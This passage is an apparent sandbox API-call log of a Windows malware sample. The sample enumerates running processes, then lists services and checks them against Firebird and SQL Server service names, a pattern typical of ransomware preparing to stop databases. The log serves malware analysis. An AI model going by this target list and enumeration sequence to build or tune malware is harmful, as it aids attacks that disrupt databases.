th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="wrist_exhaust.exe")) returned 1 [0163.193] lstrlenW (lpString="wrist_exhaust.exe") returned 17 [0163.193] Process32NextW (in: hSnapshot=0x36c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="movers-indication.exe")) returned 1 [0163.194] lstrlenW (lpString="movers-indication.exe") returned 21 [0163.194] Process32NextW (in: hSnapshot=0x36c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x910, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="drama tv thee.exe")) returned 1 [0163.195] lstrlenW (lpString="drama tv thee.exe") returned 17 [0163.195] Process32NextW (in: hSnapshot=0x36c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="barriers.exe")) returned 1 [0163.196] lstrlenW (lpString="barriers.exe") returned 12 [0163.196] Process32NextW (in: hSnapshot=0x36c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="shootclick.exe")) returned 1 [0163.197] lstrlenW (lpString="shootclick.exe") returned 14 [0163.197] Process32NextW (in: hSnapshot=0x36c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x200, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="nickel.exe")) returned 1 [0163.198] lstrlenW (lpString="nickel.exe") returned 10 [0163.198] Process32NextW (in: hSnapshot=0x36c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="imperialopened.exe")) returned 1 [0163.199] lstrlenW (lpString="imperialopened.exe") returned 18 [0163.199] Process32NextW (in: hSnapshot=0x36c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="russell indonesian fo.exe")) returned 1 [0163.200] lstrlenW (lpString="russell indonesian fo.exe") returned 25 [0163.200] Process32NextW (in: hSnapshot=0x36c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x548, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="blood popularity orbit.exe")) returned 1 [0163.201] lstrlenW (lpString="blood popularity orbit.exe") returned 26 [0163.201] Process32NextW (in: hSnapshot=0x36c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="perhapssentences.exe")) returned 1 [0163.201] lstrlenW (lpString="perhapssentences.exe") returned 20 [0163.201] Process32NextW (in: hSnapshot=0x36c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0163.202] lstrlenW (lpString="dllhost.exe") returned 11 [0163.202] Process32NextW (in: hSnapshot=0x36c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0163.203] lstrlenW (lpString="svchost.exe") returned 11 [0163.203] Process32NextW (in: hSnapshot=0x36c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="chrome64b.exe")) returned 1 [0163.204] lstrlenW (lpString="chrome64b.exe") returned 13 [0163.204] Process32NextW (in: hSnapshot=0x36c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x12c, pcPriClassBase=4, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1 [0163.205] lstrlenW (lpString="CompatTelRunner.exe") returned 19 [0163.205] Process32NextW (in: hSnapshot=0x36c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xd20, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0163.206] lstrlenW (lpString="conhost.exe") returned 11 [0163.206] Process32NextW (in: hSnapshot=0x36c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0163.207] lstrlenW (lpString="cmd.exe") returned 7 [0163.207] Process32NextW (in: hSnapshot=0x36c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xb64, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0163.208] lstrlenW (lpString="conhost.exe") returned 11 [0163.208] Process32NextW (in: hSnapshot=0x36c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xeec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0163.209] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0163.209] Process32NextW (in: hSnapshot=0x36c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xb64, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 1 [0163.210] lstrlenW (lpString="mode.com") returned 8 [0163.210] Process32NextW (in: hSnapshot=0x36c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xb64, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 0 [0163.210] CloseHandle (hObject=0x36c) returned 1 [0163.210] Sleep (dwMilliseconds=0x1f4) [0163.889] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x7ceaa0 [0163.889] EnumServicesStatusExW (in: hSCManager=0x7ceaa0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x256ff3c, lpServicesReturned=0x256ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x256ff3c, lpServicesReturned=0x256ff54, lpResumeHandle=0x0) returned 0 [0163.890] GetLastError () returned 0xea [0163.890] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x1edc) returned 0x7e7778 [0163.890] EnumServicesStatusExW (in: hSCManager=0x7ceaa0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x7e7778, cbBufSize=0x1edc, pcbBytesNeeded=0x256ff3c, lpServicesReturned=0x256ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x7e7778, pcbBytesNeeded=0x256ff3c, lpServicesReturned=0x256ff54, lpResumeHandle=0x0) returned 1 [0163.891] CloseServiceHandle (hSCObject=0x7ceaa0) returned 1 [0163.891] lstrlenW (lpString="Appinfo") returned 7 [0163.891] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0163.891] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0163.891] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0163.891] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0163.891] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0163.891] lstrlenW (lpString="AppXSvc") returned 7 [0163.891] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0163.891] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0163.891] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0163.891] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0163.891] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0163.891] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0163.892] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0163.892] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0163.892] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0163.892] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0163.892] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0163.892] lstrlenW (lpString="Audiosrv") returned 8 [0163.892] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0163.892] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0163.892] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0163.892] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0163.892] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0163.892] lstrlenW (lpString="BFE") returned 3 [0163.892] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0163.892] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0163.892] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0163.892] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0163.892] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0163.892] lstrlenW (lpString="BITS") returned 4 [0163.892] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0163.892] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0163.892] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0163.892] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0163.892] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0163.892] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0163.892] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0163.892] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0163.892] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0163.892] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0163.893] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0163.893] lstrlenW (lpString="CDPSvc") returned 6 [0163.893] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0163.893] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0163.893] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0163.893] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0163.893] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0163.893] lstrlenW (lpString="ClickToRunSvc") returned 13 [0163.893] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0163.893] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0163.893] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0163.893] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0163.893] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0163.893] lstrlenW (lpString="ClipSVC") returned 7 [0163.893] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClipSVC") returned 1 [0163.893] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClipSVC") returned 1 [0163.893] lstrcmpiW (lpString1="sqlwriter", lpString2="ClipSVC") returned 1 [0163.893] lstrcmpiW (lpString1="mssqlserver", lpString2="ClipSVC") returned 1 [0163.893] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClipSVC") returned 1 [0163.893] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0163.893] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0163.893] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0163.893] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0163.893] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0163.893] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0163.893] lstrlenW (lpString="CryptSvc") returned 8 [0163.893] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0163.893] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0163.893] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0163.893] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0163.893] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0163.893] lstrlenW (lpString="DcomLaunch") returned 10 [0163.893] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0163.893] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0163.894] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0163.894] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0163.894] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0163.894] lstrlenW (lpString="DeviceAssociationService") returned 24 [0163.894] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0163.894] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0163.894] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0163.894] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0163.894] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0163.894] lstrlenW (lpString="Dhcp") returned 4 [0163.894] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0163.894] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0163.894] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0163.894] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0163.894] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0163.894] lstrlenW (lpString="Dnscache") returned 8 [0163.894] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0164.016] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0164.016] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0164.016] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0164.016] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0164.016] lstrlenW (lpString="DoSvc") returned 5 [0164.016] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0164.016] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0164.016] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0164.016] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0164.016] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0164.016] lstrlenW (lpString="DPS") returned 3 [0164.016] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0164.016] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0164.016] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0164.016] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0164.016] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0164.016] lstrlenW (lpString="DusmSvc") returned 7 [0164.016] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0164.016] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0164.016] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0164.016] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0164.016] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0164.016] lstrlenW (lpString="EventLog") returned 8 [0164.016] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0164.016] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0164.016] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0164.016] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0164.016] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0164.016] lstrlenW (lpString="EventSystem") returned 11 [0164.016] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0164.016] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0164.016] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0164.016] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0164.017] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0164.017] lstrlenW (lpString="FontCache") returned 9 [0164.017] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0164.017] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0164.017] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0164.017] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0164.017] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0164.017] lstrlenW (lpString="gpsvc") returned 5 [0164.017] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0164.017] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0164.017] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0164.017] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0164.017] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0164.017] lstrlenW (lpString="iphlpsvc") returned 8 [0164.017] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0164.017] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0164.017] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0164.017] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0164.017] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0164.017] lstrlenW (lpString="KeyIso") returned 6 [0164.017] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0164.017] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0164.017] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0164.017] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0164.017] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0164.017] lstrlenW (lpString="LanmanServer") returned 12 [0164.017] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0164.017] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0164.017] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0164.017] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0164.017] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0164.017] lstrlenW (lpString="LanmanWorkstation") returned 17 [0164.017] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0164.017] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0164.018] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0164.018] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0164.018] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0164.018] lstrlenW (lpString="lfsvc") returned 5 [0164.018] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0164.018] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0164.018] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0164.018] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0164.018] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0164.018] lstrlenW (lpString="LicenseManager") returned 14 [0164.018] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LicenseManager") returned -1 [0164.018] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LicenseManager") returned -1 [0164.018] lstrcmpiW (lpString1="sqlwriter", lpString2="LicenseManager") returned 1 [0164.018] lstrcmpiW (lpString1="mssqlserver", lpString2="LicenseManager") returned 1 [0164.018] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LicenseManager") returned 1 [0164.018] lstrlenW (lpString="lmhosts") returned 7 [0164.018] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0164.018] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0164.018] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0164.018] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0164.018] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0164.018] lstrlenW (lpString="LSM") returned 3 [0164.018] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0164.018] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0164.018] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0164.018] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0164.018] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0164.018] lstrlenW (lpString="MpsSvc") returned 6 [0164.018] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0164.018] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0164.018] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0164.018] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0164.018] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0164.018] lstrlenW (lpString="NcbService") returned 10 [0164.019] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0164.019] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0164.019] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0164.019] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0164.019] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0164.019] lstrlenW (lpString="netprofm") returned 8 [0164.019] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0164.019] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0164.019] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0164.019] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0164.019] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0164.019] lstrlenW (lpString="NlaSvc") returned 6 [0164.019] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0164.019] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0164.019] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0164.019] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0164.019] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0164.019] lstrlenW (lpString="nsi") returned 3 [0164.124] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0164.124] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0164.124] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0164.124] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0164.124] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0164.125] lstrlenW (lpString="PcaSvc") returned 6 [0164.125] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0164.125] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0164.125] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0164.125] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0164.125] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0164.125] lstrlenW (lpString="PlugPlay") returned 8 [0164.125] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0164.125] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0164.125] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0164.125] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0164.125] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 